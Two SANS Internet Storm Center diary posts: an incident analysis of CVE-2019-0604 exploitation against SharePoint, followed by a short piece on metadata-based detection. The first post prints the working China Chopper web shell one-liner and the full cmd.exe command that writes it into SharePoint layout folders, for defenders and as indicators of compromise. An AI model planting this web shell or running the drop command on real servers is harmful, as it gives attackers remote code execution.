Over the past week, I started seeing attacks on Sharepoint servers using vulnerability CVE-2019-0604.  The Zero Day Initiative has a great write up(1) on the exploit of the vulnerability. 

Initial detection of the exploit came from endpoint exploit detection. When reviewing the IIS logs, we saw a post to the Picker.aspx. This appears to be the most common entry point for this attack exploiting CVE-2019-0604. 

Initial Log 
        2019-05-02 07:04:13 192.168.1.1 POST /_layouts/15/Picker.aspx - 443 - 121.147.96.8 python-requests/2.18.4 200 0 0 670

In the case of this attacker, they dropper a China Chopper payload on the server. China Chopper has been around for a long time. Crowdstrike did a great writeup(2) in 2015.  The payload for this is just a one-liner that was echoed into the files via command line. 

       <%@ Page Language="Jscript"%><%eval(Request.Item["t"],"unsafe");

The anomaly that endpoint detected was a cmd shell spawning by w3wp.exe process. 

      Parent Process: w3wp.exe
      Process Name: cmd.exe

        "C:\Windows\System32\cmd.exe" /c echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["t"],"unsafe");%^> > "%CommonProgramFiles%\Microsoft Shared\Web Server             Extensions\14\TEMPLATE\LAYOUTS\t.aspx" & echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["t"],"unsafe");%^> > 
       "%CommonProgramFiles%\Microsoft Shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\t.aspx" & echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["t"],"unsafe");%^> > 
        "%CommonProgramFiles%\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\t.aspx"

While the attack appears to be an automated drive-by, the attackers did not come back and do any additional modifications to the server.


IOC's 

Attackers IPS:
121[.]147[.]96[.]8    
211[.]222[.]223[.]14 
119[.]65[.]36[.]2 

User agent string:python-requests/2.18.4

Chopper Files created:
"%CommonProgramFiles%\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\t.aspx"
"%CommonProgramFiles%\Microsoft Shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\t.aspx”
"%CommonProgramFiles%\Microsoft Shared\Web Server Extensions\14\TEMPLATE\LAYOUTS\t.aspx”


(1)https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability
(2)https://www.crowdstrike.com/blog/chopping-packets-decoding-china-chopper-web-shell-traffic-over-ssl/

Thanks to my team for the analysis.

--

Tom Webb

@twsecblog

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
 
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
 

Five years ago I wrote a diary how metadata could be used to detect suspicious activity[1]. Obviously collecting packets allows the analyst to scrutinize the payload which allows in-depth analysis. However, with higher content being encrypted and the cost of storing terabyte of packets, more organization are now looking at a metadata-only approach to be good enough to respond to incidents.

Lately, I had discussion on what might be the "next generation of super tools" to help catch bad actors in a network. If you already have logs from many sources plus metadata with full packet capture at some key locations, using tools like User and Entity Behavior Analytics (UEBA) and Endpoint Detection and Response (EDR) are becoming really effective in the network at catching bad actors are becoming in some cases, a replacement for full packet capture.

This appears to be true when combining data from sources such as network devices logs made available to review endpoint activities. Not that long ago, network forensic tools (NFTs) were storing everything in/out of a network as raw packets, but today’s fast networks is making this approach pretty much impractical for nearly everyone. This is where rich host and network metadata can capture most of the information required and provide much better investigative value for the money, it is easier and in most cases faster to find issues lurking in the network at a much lower computational and storage cost.

There are still some cases where metadata might be insufficient where packets capture might be required to complement the investigation but that is becoming rarer.

What do you think currently works best for you in detecting actors inside a network: logs, packets, UEBA, EDR or a combination of some of these tools?

[1] https://isc.sans.edu/forums/diary/Is+Metadata+the+Magic+in+Modern+Network+Security/16114
[2] https://isc.sans.edu/forums/diary/Mapping+Use+Cases+to+Logs+Which+Logs+are+the+Most+Important+to+Collect/22526/
[3] https://isc.sans.edu/diary/Collecting+Logs+from+Security+Devices+at+Home/14614

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
 
Internet Storm Center Infocon Status